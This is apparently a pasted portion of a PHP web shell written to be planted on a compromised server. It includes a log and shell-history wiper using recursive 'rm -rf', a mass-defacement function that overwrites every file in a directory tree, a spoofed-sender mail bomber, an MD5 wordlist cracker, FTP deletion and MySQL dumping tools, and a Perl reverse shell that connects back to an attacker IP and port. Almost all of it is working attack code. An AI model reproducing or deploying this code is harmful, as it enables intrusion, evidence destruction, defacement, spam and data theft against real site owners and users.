  694.         $paths = array("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp", "/var/log/secure", "/root/.ksh_history", "/root/.bash_history", "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp", "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm", "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs", "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog", "/var/log/messages/", "/var/log/proftpd/xferlog.legacy", "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", "/var/log/httpsd/ssl.access_log", "/etc/mail/access", "/var/log/qmail", "/var/log/smtpd", "/var/log/samba", "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority", "/var/log/poplog", "/var/log/news.all", "/var/log/spooler", "/var/log/news", "/var/log/news/news", "/var/log/news/news.all", "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", "/var/log/news/suck.err", "/var/log/news/suck.notice", "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks", "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log", "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs", "/var/log/auth");
  695.         echo "<br><br><center><h2>OutPut</h2></center>";
  696.         $comandos = array('find / -name *.bash_history -exec rm -rf {} \;', 'find / -name *.bash_logout -exec rm -rf {} \;', 'find / -name log* -exec rm -rf {} \;', 'find / -name  *.log -exec rm -rf {} \;', 'unset HISTFILE', 'unset SAVEHIST');
  697.         echo "<center>";
  698.         foreach($paths as $path) {
  699.             if (@unlink($path)) {
  700.                 echo $path . ": <b>Deleted</b><br>";
  701.             }
  702.         }
  703.         echo "<br><br>";
  704.         foreach($comandos as $comando) {
  705.             echo "<b>Loading command : </b>" . $comando . "<br>";
  706.             system($comando);
  707.         }
  708.         echo "<center>";
  709.     }
  710.     if (isset($_GET['mass'])) {
  711.         echo "<center><h2>MassDefacement</h2></center><br><br><center>
  712. <form action='' method=POST>
  713. <b>Directory to start :</b> <input type=text name=dir value=" . getcwd() . "><br><br>
  714. <b>Code :</b> <input type=text name=codigo size=70>
  715. <input type=submit name=def value=Start>
  716. </form>
  717. </center>
  718. ";
  719.     }
  720.     function juntar($dira, $text) {
  721.         $dir = opendir($dira);
  722.         while (!is_bool($archivos = readdir($dir))) {
  723.             if ($archivos != "..") {
  724.                 if ($archivos != ".") {
  725.                     if ($archivos != basename($_SERVER['PHP_SELF'])) {
  726.                         if (@filetype($dira . "/" . $archivos) == dir) {
  727.                             juntar($dira . "/" . $archivos, $text);
  728.                         } else {
  729.                             echo "<center>";
  730.                             echo "<b>Deface : </b>" . $dira . "/" . $archivos . "<br>";
  731.                             $solo = fopen($dira . "\\" . $archivos, "w");
  732.                             $solo = fwrite($solo, $text);
  733.                             fclose($solo);
  734.                             echo "</center>";
  735.                         }
  736.                     }
  737.                 }
  738.             }
  739.         }
  740.     }
  741.     if (isset($_POST['def'])) {
  742.         echo "<br><br><center><h2>OutPut</h2></center><br><br>";
  743.         juntar($_POST['dir'], $_POST['codigo']);
  744.     }
  745.     if (isset($_GET['chau'])) {
  746.         if ($_GET['chau'] == "fuckit") {
  747.             echo "<br><br><h3>Kapoom !!!</h3><br><br>";
  748.             unlink(basename($_SERVER['PHP_SELF'])); //descomentar para usar esta funcion
  749.            
  750.         } else {
  751.             echo "<br><br><font color=red><h3><center>Acceso Denegado</center></h3></font><br><br>";
  752.         }
  753.     }
  754.     if (isset($_GET['bomber'])) {
  755.         echo "<center><h2>Mail Bomber</h2></center><br><br>
  756. <form action='' method=POST>
  757. <center><table border=1>
  758. <td>Target : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=idiot value=target@hotmail.com size=44><tr>
  759. <td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=falso value=lagarto@juancho.com size=44><tr>
  760. <td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=nombrefalso value=Juancho size=44><tr>
  761. <td>ListMails : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=listamails value=None size=44><tr>
  762. <td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=asunto value=Hola size=44><tr>
  763. <td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=count value=1 size=44><tr>
  764. <td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name=mensaje rows=7 cols=40>Chau</textarea></td><tr>
  765. </table><br><br>
  766. <input type=submit name=bombers value=Send></center>
  767. </form>
  768. ";
  769.     }
  770.     if (isset($_POST['bombers'])) {
  771.         $need.= "MIME-Version: 1.0\n";
  772.         $need.= "Content-type: text/html ; charset=iso-8859-1\n";
  773.         $need.= "MIME-Version: 1.0\n";
  774.         $need.= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
  775.         $need.= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
  776.         $need.= "Reply-To:" . $_POST['falso'] . "\n";
  777.         $need.= "X-Priority: 1\n";
  778.         $need.= "X-MSMail-Priority:Hight\n";
  779.         $need.= "X-Mailer:Widgets.com Server";
  780.         echo "<br><br><br><center><h2>Result</h2><br><br>";
  781.         for ($i = 1;$i <= $_POST['count'];$i++) {
  782.             if ($_POST['listamails'] != "None") {
  783.                 $open = fopen($_POST['listamails'], "r");
  784.                 while (!feof($open)) {
  785.                     $word = fgets($open, 255);
  786.                     $word = chop($word);
  787.                     if (@mail($word, $_POST['asunto'], $_POST['mensaje'], $need)) {
  788.                         echo "[+] Message <b>$i</b> to <b>" . $word . "</b> Send<br>";
  789.                         flush();
  790.                     } else {
  791.                         echo "[+] Message <b>$i</b> to <b>" . $word . "</b> Not Send<br>";
  792.                     }
  793.                 }
  794.             } else {
  795.                 if (@mail($_POST['idiot'], $_POST['asunto'], $_POST['mensaje'], $need)) {
  796.                     echo "[+] Message <b>$i</b> to <b>" . $_POST['idiot'] . "</b> Send<br>";
  797.                     flush();
  798.                 } else {
  799.                     echo "[+] Message <b>$i</b> to <b>" . $_POST['idiot'] . "</b> Not Send<br>";
  800.                 }
  801.             }
  802.         }
  803.         echo "</center>";
  804.     }
  805.     if (isset($_GET['md5crack'])) {
  806.         echo "
  807. <center>
  808. <h2>MD5 Cracker</h2><br><br>
  809. <form action='' method=POST>
  810. <table border=1>
  811. <td><b>Hash : </b></td><td><input type=text name=md5 size=50 value=098f6bcd4621d373cade4e832627b4f6></td><tr>
  812. <td><b>Salt : </b></td><td><input type=text name=salto size=50></td><tr>
  813. <td><b>Wordlist : </b></td><td><input type=text name=listmd5 size=50 value='c:/aca.txt'></td>
  814. </table><br><br>
  815. <input type=submit value=Crack>
  816. </form>
  817. </center>
  818. ";
  819.     }
  820.     if (isset($_POST['md5'])) {
  821.         $open = fopen($_POST['listmd5'], "r");
  822.         echo "<br><br><fieldset><center>";
  823.         echo "<br>[+] Starting the search<br><br>";
  824.         while (!feof($open)) {
  825.             $word = fgets($open, 255);
  826.             $linea = chop($word);
  827.             if (!empty($_POST['salto'])) {
  828.                 $test = md5($linea . $_POST['salto']);
  829.             } else {
  830.                 $test = md5($linea);
  831.             }
  832.             if ($test == $_POST['md5']) {
  833.                 echo "<br>[+] Hash Cracked : " . $_POST['md5'] . ":" . $linea . "<br><br>";
  834.                 creditos();
  835.             } else {
  836.                 echo "[+] : " . $_POST['md5'] . " != " . $linea . "<br>";
  837.             }
  838.         }
  839.         echo "<br>[+] Finished<br>";
  840.         echo "</center></fieldset>";
  841.     }
  842.     if (isset($_GET['cookiemanager'])) {
  843.         echo "<h2>Cookies</h2><br><br>";
  844.         echo "[+] <b>Cookies Found</b> : " . count($_COOKIE) . "<br><br>";
  845.         echo "
  846. <br><BR><form action='' method=POST>
  847. <b>New cookie :</b> <input type=text name=cookienew><BR>
  848. <b>Value :</b> <input type=text name=valor><BR><br>
  849. <input type=submit value=Create><BR><br><br>
  850. </form><br>";
  851.         echo "<table>";
  852.         echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";
  853.         if (count($_COOKIE) != 0) {
  854.             foreach($_COOKIE as $nombre => $valor) {
  855.                 echo "<td class=main>" . $nombre . "</td><td class=main>" . $valor . "</td><tr>";
  856.             }
  857.             echo "</table>";
  858.         }
  859.         echo "<br><br>";
  860.     }
  861.     if (isset($_GET['sessionmanager'])) {
  862.         @session_start();
  863.         echo "<h2>Session</h2><br><br>";
  864.         echo "[+] <b>Sessions Found</b> : " . count($_SESSION) . "<br><br>";
  865.         echo "
  866. <br><BR><form action='' method=POST>
  867. <b>New session :</b> <input type=text name=sessionew><BR>
  868. <b>Value :</b> <input type=text name=valor><BR><br>
  869. <input type=submit value=Create><BR><br><br>
  870. </form><br>";
  871.         if (count($_SESSION) != 0) {
  872.             echo "<table>";
  873.             echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";
  874.             foreach($_SESSION as $nombre => $valor) {
  875.                 echo "<td class=main>" . $nombre . "</td><td class=main>" . $valor . "</td><tr>";
  876.             }
  877.             echo "</table>";
  878.         }
  879.     }
  880.     if (isset($_GET['ftp'])) {
  881.         echo "<center><h2>FTP Manager</h2><br>";
  882.         echo "
  883. <table border=1>
  884. <form action='' method=GET>
  885. <td><b>Server : </b></td><td><input type=text name=serverftp value=127.0.0.1></td><tr>
  886. <td><b>User : </b></td><td><input type=text name=user value=doddy></td><tr>
  887. <td><b>Pass : </b></td><td><input type=text name=pass value=123></td><tr>
  888. </table><br>
  889. <input type=hidden name=diar value=/>
  890. <input type=submit value=Connect><br><br>
  891. </center></form>
  892. ";
  893.     }
  894.     if (isset($_GET['serverftp'])) {
  895.         if ($enter = @ftp_connect($_GET['serverftp'])) {
  896.             if ($dentro = @ftp_login($enter, $_GET['user'], $_GET['pass'])) {
  897.                 echo "<br><b>[+] Connected to server</b><br>";
  898.             } else {
  899.                 echo "<br><b>[-] Error in the login</b><br><br>";
  900.                 creditos();
  901.             }
  902.             echo "<b>[+] ONline</b><br><br><br>";
  903.             echo "
  904. <form action='' method=GET>
  905. Directory : <input type=text name=diar value=";
  906.             if (empty($_GET['diar'])) {
  907.                 echo ftp_pwd($enter);
  908.             } else {
  909.                 echo $_GET['diar'];
  910.             }
  911.             echo ">
  912. <input type=hidden name=serverftp value=" . $_GET['serverftp'] . ">
  913. <input type=hidden name=user value=" . $_GET['user'] . ">
  914. <input type=hidden name=pass value=" . $_GET['pass'] . ">
  915. <input type=submit value=Load>
  916. </form>
  917. <br><br>
  918. <form action='' method=GET>
  919. New directory : <input type=text name=newdirftp><input type=submit value=Load>
  920. <input type=hidden name=serverftp value=" . $_GET['serverftp'] . ">
  921. <input type=hidden name=user value=" . $_GET['user'] . ">
  922. <input type=hidden name=pass value=" . $_GET['pass'] . ">
  923. <input type=hidden name=diar value=" . $_GET['diar'] . ">
  924. </form>
  925. <br><br>
  926. <br><br>";
  927.             if (isset($_GET['diar'])) {
  928.                 $enter = @ftp_connect($_GET['serverftp']);
  929.                 $dentro = @ftp_login($enter, $_GET['user'], $_GET['pass']);
  930.                 if (empty($_GET['diar'])) {
  931.                     if (!$lista = ftp_nlist($enter . ".")) {
  932.                         echo "<script>alert('Error loading directory');</script>";
  933.                         creditos();
  934.                     }
  935.                 } else {
  936.                     if (!$lista = ftp_nlist($enter, $_GET['diar'])) {
  937.                         echo "<script>alert('Bad Login');</script>";
  938.                         creditos();
  939.                     }
  940.                 }
  941.             }
  942.             echo "<form action='' method=POST>";
  943.             echo "<input type=hidden name=serverftp value=" . $_GET['serverftp'] . ">
  944. <input type=hidden name=user value=" . $_GET['user'] . ">
  945. <input type=hidden name=pass value=" . $_GET['pass'] . ">";
  946.             echo "<table>";
  947.             echo "<td class=main>Name</td><td class=main>Type</td><td class=main>Action</td><tr>";
  948.             foreach($lista as $ver) {
  949.                 if (ftp_size($enter, ftp_pwd($enter) . $ver) == - 1) {
  950.                     echo "<td class=main><a href=?serverftp=" . $_GET['serverftp'] . "&user=" . $_GET['user'] . "&pass=" . $_GET['pass'] . "&diar=" . $ver . ">$ver</a></td>";
  951.                     echo "<td class=main>Directory</td>";
  952.                     echo "<td><input type=checkbox name=vax[] value='" . $ver . "'></td>";
  953.                     echo "<tr>";
  954.                 } else {
  955.                     echo "<td class=main>" . $ver . "</td>";
  956.                     echo "<td class=main>File</td>";
  957.                     echo "<td><input type=checkbox name=vax[] value='" . $ver . "'></td>";
  958.                     echo "<tr>";
  959.                 }
  960.             }
  961.             if (isset($_POST['furia'])) {
  962.                 $files = $_POST['vax'];
  963.                 $enter = ftp_connect($_POST['serverftp']);
  964.                 $dentro = ftp_login($enter, $_POST['user'], $_POST['pass']);
  965.                 foreach($files as $file) {
  966.                     if (ftp_delete($enter, ftp_pwd($enter) . "/" . $file)) {
  967.                     } else {
  968.                         ftp_rmdir($enter, ftp_pwd($enter) . "/" . $file);
  969.                     }
  970.                 }
  971.                 echo "<script>alert('Files Deleted');</script>";
  972.             }
  973.             echo "</table>";
  974.             echo "<br><br>
  975. Options :
  976. <select name=op>
  977. <option>Delete</option>
  978. </select>&nbsp;&nbsp;<input type=submit name=furia value=Ok></form>";
  979.         } else {
  980.             echo "<b>[-] Error in the server</b><br><br>";
  981.         }
  982.     }
  983.     if (isset($_GET['newdirftp'])) {
  984.         $enter = ftp_connect($_GET['serverftp']);
  985.         $dentro = ftp_login($enter, $_GET['user'], $_GET['pass']);
  986.         if (ftp_mkdir($enter, $_GET['diar'] . $_GET['newdirftp'])) {
  987.             echo "<script>alert('Directory created');</script>";
  988.             echo '<meta http-equiv="refresh" content="0;URL=?serverftp=' . $_GET['serverftp'] . "&user=" . $_GET['user'] . "&pass=" . $_GET['pass'] . "&diar=" . $_GET['diar'] . '>';
  989.         } else {
  990.             echo "<script>alert('Error');</script>";
  991.         }
  992.     }
  993.     if (isset($_GET['backshell'])) {
  994.         echo "
  995. <center>
  996. <h2>BackShell</h2><br><br>
  997. <table border=1>
  998. <form action='' method=GET>
  999. <td><b>IP : </b></td><td><input type=text name=ipar value=" . $_SERVER['REMOTE_ADDR'] . "></td><tr>
  1000. <td><b>Port : </b></td><td><input type=text name=portar value=666></td><tr>
  1001. <td><b>Type : </b></td><td><select name=tipo>
  1002. <option>Perl</option>
  1003. </select></td><tr></table>
  1004. <br><br>
  1005. <input type=submit value=Conectar>
  1006. </center>
  1007. </form>
  1008. ";
  1009.     }
  1010.     if (isset($_GET['ipar'])) {
  1011.         if ($_GET['tipo'] == "Perl") {
  1012.             $code = '
  1013. #!usr/bin/perl
  1014. #Reverse Shell 0.2
  1015. #Coded By Doddy H
  1016. #Command : nc -lvvp 666
  1017.  
  1018. use IO::Socket;
  1019.  
  1020. print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n";
  1021.  
  1022. unless ( @ARGV == 2 ) {
  1023.    print "[Sintax] : $0 <host> <port>\n\n";
  1024.    exit(1);
  1025. }
  1026. else {
  1027.    print "[+] Starting the connection\n";
  1028.    print "[+] Enter in the system\n";
  1029.    print "[+] Enjoy !!!\n\n";
  1030.    conectar( $ARGV[0], $ARGV[1] );
  1031.    tipo();
  1032. }
  1033.  
  1034. sub conectar {
  1035.    socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp") );
  1036.    connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
  1037.    open( STDIN,  ">&REVERSE" );
  1038.    open( STDOUT, ">&REVERSE" );
  1039.    open( STDERR, ">&REVERSE" );
  1040. }
  1041.  
  1042. sub tipo {
  1043.    print "\n[+] Reverse Shell Starting...\n\n";
  1044.    if ( $^O =~ /Win32/ig ) {
  1045.        infowin();
  1046.        system("cmd.exe");
  1047.    }
  1048.    else {
  1049.        infolinux();
  1050.        system("export TERM=xterm;exec sh -i");
  1051.    }
  1052. }
  1053.  
  1054. sub infowin {
  1055.    print "[+] Domain Name : " . Win32::DomainName() . "\n";
  1056.    print "[+] OS Version : " . Win32::GetOSName() . "\n";
  1057.    print "[+] Username : " . Win32::LoginName() . "\n\n\n";
  1058. }
  1059.  
  1060. sub infolinux {
  1061.    print "[+] System information\n\n";
  1062.    system("uname -a");
  1063.    print "\n\n";
  1064. }
  1065.  
  1066. #The End ?
  1067. ';
  1068.             echo "<center><h2>OutPut</h2></center>";
  1069.             $de = $_SERVER["HTTP_USER_AGENT"];
  1070.             if (eregi("Win", $de)) {
  1071.                 if ($test = fopen("back.pl", "w")) {
  1072.                     echo "<br><br><b><center>[+] Shell Created</b><br>";
  1073.                 } else {
  1074.                     echo "<br><br><b>[-] Error creating the shell</b><br>";
  1075.                 }
  1076.             } else {
  1077.                 if ($test = fopen("/tmp/back.pl", "w")) {
  1078.                     echo "<br><br><b>[+] Shell Created</b><br>";
  1079.                 } else {
  1080.                     echo "<br><br><b>[-] Error creating the shell</b><br>";
  1081.                 }
  1082.             }
  1083.             if (fwrite($test, $code)) {
  1084.                 if (eregi("Win", $de)) {
  1085.                     if (chmod("back.pl", 0777)) {
  1086.                         echo "<b>[+] Perms Changed<br></b>";
  1087.                     } else {
  1088.                         echo "<b>[-] Not priviligies to changed permissions</b><br>";
  1089.                     }
  1090.                     echo "<b>[+] Loading Shell</b><br><br><br>";
  1091.                     echo "<br><BR>";
  1092.                     echo "<fieldset>";
  1093.                     if (!system("perl back.pl " . $_GET['ipar'] . " " . $_GET['portar'])) {
  1094.                         echo "<script>alert('Error Loading Shell');</script>";
  1095.                     }
  1096.                     echo "</fieldset>";
  1097.                 } else {
  1098.                     if (chmod("/tmp/back.pl", 0777)) {
  1099.                         echo "<b>[+] Perms Changed<br></b>";
  1100.                     } else {
  1101.                         echo "<b>[-] Not priviligies to changed permissions</b><br>";
  1102.                     }
  1103.                     echo "<b>[+] Loading Shell</b><br><br><br>";
  1104.                     echo "<br><BR>";
  1105.                     echo "<fieldset>";
  1106.                     if (!system("cd /tmp;perl back.pl " . $_GET['ipar'] . " " . $_GET['portar'])) {
  1107.                         echo "<script>alert('Error Loading Shell');</script>";
  1108.                     }
  1109.                     echo "</center></fieldset>";
  1110.                 }
  1111.             } else {
  1112.                 echo "<br><b>[-] Error writing in the shell<br><br></b>";
  1113.             }
  1114.         }
  1115.         echo "<br><br>";
  1116.     }
  1117.     if (isset($_GET['sql'])) {
  1118.         echo "
  1119. <center><h2>SQL Manager</h2></center><br>
  1120. <center>
  1121. <table border=1>
  1122. <form action='' method=GET>
  1123. <td><b>Server : </b></td><td><input type=text name=host value=localhost></td><tr>
  1124. <td><b>User : </b></td><td><input type=text name=usuario value=root></td><tr>
  1125. <td><b>Pass : </b></td><td><input type=text name=password value=123></td><tr>
  1126. </table>
  1127. <br><input type=submit name=entersql value=Connect>
  1128. </form></center>
  1129. ";
  1130.     }
  1131.     if (isset($_GET['entersql'])) {
  1132.         if ($mysql = @mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password'])) {
  1133.             if ($databases = @mysql_list_dbs($mysql)) {
  1134.                 echo "<br><br><center><h2>Databases Found</h2><br>";
  1135.                 echo "<table>";
  1136.                 while ($dat = @mysql_fetch_row($databases)) {
  1137.                     foreach($dat as $indice => $valor) {
  1138.                         echo "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=" . $_GET['host'] . "&usuario=" . $_GET['usuario'] . "&password=" . $_GET['password'] . "&enterdb=" . $valor . ">Enter</a></td><td class=main><a href=?datear=$valor&host=" . $_GET['host'] . "&usuario=" . $_GET['usuario'] . "&password=" . $_GET['password'] . "&bajardb=" . $valor . ">Download</a></td><tr>";
  1139.                     }
  1140.                 }
  1141.                 echo "</table>";
  1142.             } else {
  1143.                 echo "<script>alert('Error loading databases');</script>";
  1144.                 creditos();
  1145.             }
  1146.         } else {
  1147.             echo "<script>alert('Error');</script>";
  1148.             creditos();
  1149.         }
  1150.     }
  1151.     if (isset($_GET['enterdb'])) {
  1152.         $mysql = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']);
  1153.         mysql_select_db($_GET['enterdb']);
  1154.         echo "<center>";
  1155.         $tablas = mysql_query("show tables from " . $_GET['enterdb']) or die("error");
  1156.         echo "<br><h2>Tables Found</h2><br><br><table>";
  1157.         while ($tabla = mysql_fetch_row($tablas)) {
  1158.             foreach($tabla as $indice => $valor) {
  1159.                 echo "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=" . $_GET['host'] . "&usuario=" . $_GET['usuario'] . "&password=" . $_GET['password'] . "&entertable=" . $valor . "&condb=" . $_GET['enterdb'] . ">Enter</a></td></td><td class=main><a href=?datear=$valor&host=" . $_GET['host'] . "&usuario=" . $_GET['usuario'] . "&password=" . $_GET['password'] . "&bajartabla=" . $valor . "&condb=" . $_GET['enterdb'] . ">Download</a><tr>";
  1160.             }
  1161.         }
  1162.         echo "</table>";
  1163.     }
  1164.     if (isset($_GET['entertable'])) {
  1165.         $mysql = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']);
  1166.         mysql_select_db($_GET['condb']);
  1167.         echo "<br><center><h2>SQL Manager</h2>
  1168. <br><br>
  1169. <form action='' method=POST>
  1170. <b>Consulta SQL : </b><input type=text name=sentencia size=70 value='select * from " . $_GET['datear'] . "'>
  1171. <br><br><br>    
  1172. <input type=hidden name=host value=" . $_GET['host'] . ">
  1173. <input type=hidden name=usuario value=" . $_GET['usuario'] . ">
  1174. <input type=hidden name=password value=" . $_GET['password'] . ">
  1175. <input type=hidden name=condb value=" . $_GET['database'] . ">
  1176. <input type=hidden name=entertable value=" . $_GET['tabla'] . ">
  1177. <input type=submit name=mostrar value=eNViar>
  1178. </form>
  1179. <br><br><br><br><br>";
  1180.         $conexion = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']) or die("<h1>Error</h1>");
  1181.         mysql_select_db($_GET['condb']);
  1182.         if (isset($_POST['mostrar'])) {
  1183.             if (!empty($_POST['sentencia'])) {
  1184.                 $resultado = mysql_query($_POST['sentencia']);
  1185.             } else {
  1186.                 $resultado = mysql_query("SELECT * FROM " . $_GET['entertable']);
  1187.             }
  1188.             $numer = 0;
  1189.             echo "<table>";
  1190.             for ($i = 0;$i < mysql_num_fields($resultado);$i++) {
  1191.                 echo "<th class=main>" . mysql_field_name($resultado, $i) . "</th>";
  1192.                 $numer++;
  1193.             }
  1194.             while ($dat = mysql_fetch_row($resultado)) {
  1195.                 echo "<tr>";
  1196.                 foreach($dat as $val) {
  1197.                     echo "<td class=main>" . $val . "</td>";
  1198.                 }
  1199.             }
  1200.             echo "</tr></table>";
  1201.         }
  1202.     }
  1203.     creditos();
  1204. } else {
  1205.     echo "
  1206. <form action='' method=POST>
  1207. Username : <input type=text name=user><br>
  1208. Password : <input type=text name=pass><br><br>
  1209. <input type=submit value=Login>
  1210. </form>
  1211. ";
  1212. }
  1213.  
  1214. // The End ?
  1215.  
  1216. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement